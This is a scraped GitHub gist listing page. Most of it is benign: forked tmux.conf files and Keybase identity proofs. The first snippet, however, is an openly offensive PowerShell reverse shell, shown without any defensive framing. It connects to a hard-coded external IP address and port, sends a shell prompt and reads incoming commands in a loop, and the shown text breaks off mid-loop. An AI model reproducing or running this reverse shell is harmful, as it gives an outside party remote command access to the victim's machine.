Skip to content

Instantly share code, notes, and snippets.

$lhost="54.169.93.143";
$lport=10467;
$MAXCMDLENGTH=65535;
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport);
$stream = $client.GetStream();
$bytes = (New-Object byte[] $MAXCMDLENGTH);
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> ");
$stream.Write($out, 0, $out.Length);
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
@itsGno
itsGno / tmux.conf
Created March 9, 2021 10:46 — forked from spicycode/tmux.conf
The best and greatest tmux.conf ever
# 0 is too far from ` ;)
set -g base-index 1
# Automatically set window title
set-window-option -g automatic-rename on
set-option -g set-titles on
#set -g default-terminal screen-256color
set -g status-keys vi
set -g history-limit 10000
@itsGno
itsGno / .tmux.conf
Created February 4, 2021 04:22 — forked from rsp/.tmux.conf
The best and greatest tmux.conf ever - improved!
# The best and greatest tmux.conf ever - improved!
# https://gist.github.com/rsp/f4770a1fe8ea7e2378ac3a16e01a2b53
# Here are some customizations done by Rafał Pocztarski:
# use Ctrl+Backslash instead of Ctrl+A or Ctrl+B
# use Slash to split vertically
# use Backslash to split horizontally
unbind-key C-b
set -g prefix 'C-\'
bind-key 'C-\' send-prefix

Keybase proof

I hereby claim:

  • I am itsgno on github.
  • I am ggasd (https://keybase.io/ggasd) on keybase.
  • I have a public key ASC6zHzwGNZBJFMv0GWBAU0lrP2Rm_yOPgW1ECcnjVy-1go

To claim this, I am signing this object:

@itsGno
itsGno / keybase.md
Last active December 25, 2020 05:44

Keybase proof

I hereby claim:

  • I am ggasd on github.
  • I am ggasd (https://keybase.io/ggasd) on keybase.
  • I have a public key ASC6zHzwGNZBJFMv0GWBAU0lrP2Rm_yOPgW1ECcnjVy-1go

To claim this, I am signing this object: